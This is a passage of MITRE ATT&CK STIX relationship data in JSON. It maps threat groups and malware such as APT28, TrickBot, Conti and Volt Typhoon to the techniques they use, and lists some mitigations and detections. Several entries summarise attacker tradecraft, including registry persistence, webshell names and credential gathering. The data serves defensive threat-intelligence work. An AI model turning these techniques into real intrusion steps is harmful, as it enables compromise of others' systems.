"x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9aebf2b6-7688-4946-a12e-ea1d8e62e158", "type": "relationship", "created": "2019-06-28T17:40:32.368Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyphort EvilBunny Dec 2014", "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/", "description": "Marschalek, M.. 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Retrieved February 28, 2022.", "url": "https://www.secureworks.com/research/iron-twilight-supports-active-measures"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T17:51:20.414Z", "description": "Part of [APT28](https://attack.mitre.org/groups/G0007)'s operation involved using [CHOPSTICK](https://attack.mitre.org/software/S0023) modules to copy itself to air-gapped machines and using files written to USB sticks to transfer data and command traffic.(Citation: FireEye APT28)(Citation: Microsoft SIR Vol 19)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)", "relationship_type": "uses", "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9af0d85e-688a-4dd7-a04e-a175e268855c", "type": "relationship", "created": "2021-03-15T18:56:36.741Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Trickbot Oct 2020", "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."}, {"source_name": "Bitdefender Trickbot March 2020", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf", "description": "Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021."}], "modified": "2021-03-15T18:56:36.741Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses module networkDll for process list discovery.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9af1f7b6-d914-4916-9fee-e8ca0e9c8109", "type": "relationship", "created": "2020-03-13T20:21:54.906Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-13T20:21:54.906Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9af6241d-355a-4673-b772-8384a718ed64", "type": "relationship", "created": "2019-04-26T20:07:36.100Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "M.L\u00e9veill\u00e9, M.. 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Retrieved December 26, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Confucius](https://attack.mitre.org/groups/G0142) has obtained cloud storage service accounts to host stolen data.(Citation: TrendMicro Confucius APT Feb 2018)", "modified": "2022-04-07T22:33:28.262Z", "relationship_type": "uses", "source_ref": "intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f", "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9c089e25-2028-4afb-9f05-b28d5055f444", "type": "relationship", "created": "2021-02-10T19:41:52.674Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Lebanese Cedar Jan 2021", "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", "description": "ClearSky Cyber Security. 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Retrieved February 10, 2021."}], "modified": "2021-02-10T19:41:52.674Z", "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can obtain a list of local groups of users from a system.(Citation: ClearSky Lebanese Cedar Jan 2021)", "relationship_type": "uses", "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9c0bf8de-7366-46a4-a1b9-b6a72937c8db", "type": "relationship", "created": "2022-01-18T18:56:49.724Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike AQUATIC PANDA December 2021", "url": "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "description": "Wiley, B. et al. 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Retrieved September 29, 2020."}], "modified": "2020-09-30T14:13:38.350Z", "description": "[SoreFang](https://attack.mitre.org/software/S0516) can collect the TCP/IP, DNS, DHCP, and network adapter configuration on a compromised host via <code>ipconfig.exe /all</code>.(Citation: CISA SoreFang July 2016)", "relationship_type": "uses", "source_ref": "malware--e33e4603-afab-402d-b2a1-248d435b5fe0", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9c2766b3-87ff-4ec7-9ff4-faa3d4572eb4", "type": "relationship", "created": "2020-11-18T21:25:59.730Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Bazar July 2020", "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}], "modified": "2020-11-30T15:35:49.981Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can create a task named to appear benign.(Citation: Cybereason Bazar July 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9c2ed616-647a-4cf5-9f43-b0b78f9fdcd1", "created": "2022-10-11T12:49:38.262Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. 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(2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020."}, {"source_name": "Gigamon Berserk Bear October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", "description": "Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE\u2019S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}], "modified": "2021-12-07T18:39:07.602Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has placed trojanized installers for control system software on legitimate vendor app stores.(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9c3c62d3-d97c-4478-b822-e7019861121d", "created": "2021-09-02T16:01:58.923Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Proofpoint Operation Transparent Tribe March 2016", "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"}, {"source_name": "Cisco Talos Transparent Tribe Education Campaign July 2022", "description": "N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.", "url": "https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-06T16:12:53.897Z", "description": "(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3", "target_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9c3d1701-b0ed-4a20-a864-d2681535cfa8", "type": "relationship", "created": "2019-10-04T19:37:26.696Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-04-01T12:37:52.970Z", "description": "Users need to be trained to not authorize third-party applications they don\u2019t recognize. The user should pay particular attention to the redirect URL: if the URL is a misspelled or convoluted sequence of words related to an expected service or SaaS application, the website is likely trying to spoof a legitimate service. Users should also be cautious about the permissions they are granting to apps. For example, offline access and access to read emails should excite higher suspicions because adversaries can utilize SaaS APIs to discover credentials and other sensitive communications.", "relationship_type": "mitigates", "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9c3ee91e-c64e-47c5-8aeb-300bc8aa6b6e", "created": "2023-09-29T15:29:41.152Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-29T18:39:50.524Z", "description": "On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent execution of potentially obfuscated scripts or payloads.", "relationship_type": "mitigates", "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", "target_ref": "attack-pattern--887274fc-2d63-4bdc-82f3-fae56d1d5fdc", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9c3faa58-eb39-407a-8233-8f43f53aa777", "type": "relationship", "created": "2019-01-30T20:01:45.464Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Oceanlotus May 2017", "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt", "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018."}, {"source_name": "Cybereason Cobalt Kitty 2017", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}], "modified": "2019-04-24T20:56:04.656Z", "description": "[Denis](https://attack.mitre.org/software/S0354) has several commands to search directories for files.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9c41ad44-8a0f-40bc-b832-ad7aa99e5290", "created": "2024-03-28T15:03:14.582Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft Token Protection 2023", "description": "Microsoft. (2023, October 23). Conditional Access: Token protection (preview). Retrieved January 2, 2024.", "url": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-token-protection"}, {"source_name": "Okta DPoP 2023", "description": "Venkat Viswanathan. (2023, June 13). A leap forward in token security: Okta adds support for DPoP. Retrieved January 2, 2024.", "url": "https://www.okta.com/blog/2023/06/a-leap-forward-in-token-security-okta-adds-support-for-dpop/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-12T21:20:22.961Z", "description": "Consider implementing token binding strategies, such as Azure AD token protection or OAuth Proof of Possession, that cryptographically bind a token to a secret. This may prevent the token from being used without knowledge of the secret or possession of the device the token is tied to.(Citation: Microsoft Token Protection 2023)(Citation: Okta DPoP 2023)", "relationship_type": "mitigates", "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", "target_ref": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9c41bfe8-99bc-4aed-a8b9-9e19794a6c59", "type": "relationship", "created": "2019-06-21T18:37:11.962Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-08T21:18:40.974Z", "description": "A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation.", "relationship_type": "mitigates", "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9c424acf-2a41-4b34-867f-590ade731fc2", "type": "relationship", "created": "2021-06-15T19:57:30.201Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Wizard Spider October 2020", "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."}], "modified": "2021-06-15T19:57:30.201Z", "description": "\n[Conti](https://attack.mitre.org/software/S0575) has the ability to discover hosts on a target network.(Citation: CrowdStrike Wizard Spider October 2020)", "relationship_type": "uses", "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9c4281ea-b225-44b4-b460-255e51586598", "type": "relationship", "created": "2020-05-29T20:32:42.930Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 October 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}], "modified": "2020-06-15T22:52:32.034Z", "description": "[Get2](https://attack.mitre.org/software/S0460) has the ability to identify the computer name and Windows version of an infected host.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "source_ref": "malware--099ecff2-41b8-436d-843c-038a9aa9aa69", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9c4621d7-76b4-4af5-838e-391236f521d2", "type": "relationship", "created": "2020-03-15T15:37:47.736Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-15T22:49:28.708Z", "description": "Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. 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(2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."}, {"description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", "source_name": "FireEye APT33 Guardrail"}], "modified": "2020-03-19T22:16:54.864Z", "description": "[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like [LaZagne](https://attack.mitre.org/software/S0349) to gather credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9c559e9a-0ad1-42cb-9848-5b54112a543b", "type": "relationship", "created": "2021-09-21T15:02:49.116Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Wevtutil Microsoft Documentation", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", "description": "Microsoft. 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Retrieved September 1, 2020."}], "modified": "2021-09-21T15:02:49.116Z", "description": "[Wevtutil](https://attack.mitre.org/software/S0645) can be used to export events from a specific log.(Citation: Wevtutil Microsoft Documentation)(Citation: F-Secure Lazarus Cryptocurrency Aug 2020)", "relationship_type": "uses", "source_ref": "tool--f91162cc-1686-4ff8-8115-bf3f61a4cc7a", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9c593e55-8c4d-4705-9e8b-ac83962973df", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/n1nj4sec/pupy", "description": "Nicolas Verdier. (n.d.). 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Retrieved January 14, 2022.", "url": "https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-04T18:10:49.061Z", "description": "(Citation: CrowdStrike Carbon Spider August 2021)(Citation: FBI Flash FIN7 USB)(Citation: Mandiant FIN7 Apr 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9c63a942-eb05-401b-a49a-39dc05ef1dd9", "created": "2022-09-30T19:58:39.359Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. 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(2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-07-16T15:07:27.123Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has used a custom implementation of DNS tunneling to embed C2 communications in DNS requests and replies.(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9c68c07e-bb35-416b-83ec-c8c8530eccc9", "type": "relationship", "created": "2021-10-01T01:57:31.882Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Black-T October 2020", "url": "https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/", "description": "Quist, N. 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Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}], "modified": "2021-04-09T13:34:40.222Z", "description": "[Doki](https://attack.mitre.org/software/S0600) has communicated with C2 over HTTPS.(Citation: Intezer Doki July 20)", "relationship_type": "uses", "source_ref": "malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9c7679e8-2be6-4cbb-a7f4-8583162366b3", "type": "relationship", "created": "2021-08-24T17:04:27.186Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Security Affairs DustSquad Oct 2018", "url": "https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html", "description": "Paganini, P. (2018, October 16). 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(n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "source_name": "objsee mac malware 2017"}], "modified": "2019-06-24T19:03:52.597Z", "description": "[Proton](https://attack.mitre.org/software/S0279) gathers credentials for Google Chrome.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9ca80e08-f365-48c6-bb40-24657614b217", "created": "2023-08-03T20:03:22.885Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Secureworks BRONZE SILHOUETTE May 2023", "description": "Counter Threat Unit Research Team. (2023, May 24). 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Retrieved July 27, 2023.", "url": "https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-03T20:22:52.987Z", "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used webshells, including ones named AuditReport.jspx and iisstart.aspx, in compromised environments.(Citation: Secureworks BRONZE SILHOUETTE May 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9caad98b-05ae-4aa2-87cd-387ae2e16c9d", "type": "relationship", "created": "2022-03-30T14:26:51.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.842Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts or uncommon data flows. Consider analyzing packet contents to detect application layer protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g. unauthorized, gratuitous, or anomalous traffic patterns attempting to access configuration content)", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9cacb002-a04a-4779-997e-0cc9efaabda2", "type": "relationship", "created": "2020-03-25T13:55:54.240Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/", "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", "source_name": "ESET OceanLotus"}, {"source_name": "Cybereason Cobalt Kitty 2017", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}, {"source_name": "ESET OceanLotus Mar 2019", "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019."}], "modified": "2020-03-25T13:55:54.240Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) modified Windows Services to ensure PowerShell scripts were loaded on the system. [APT32](https://attack.mitre.org/groups/G0050) also creates a Windows service to establish persistence.(Citation: ESET OceanLotus)(Citation: Cybereason Cobalt Kitty 2017)(Citation: ESET OceanLotus Mar 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9cae28f1-dbae-406b-b205-ab9c9cbd26f5", "type": "relationship", "created": "2019-04-17T19:18:00.442Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Remexi Jan 2019", "url": "https://securelist.com/chafer-used-remexi-malware/89538/", "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}], "modified": "2019-04-22T20:18:07.064Z", "description": "[Remexi](https://attack.mitre.org/software/S0375) achieves persistence using Userinit by adding the Registry key <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit</code>.(Citation: Securelist Remexi Jan 2019)", "relationship_type": "uses", "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", 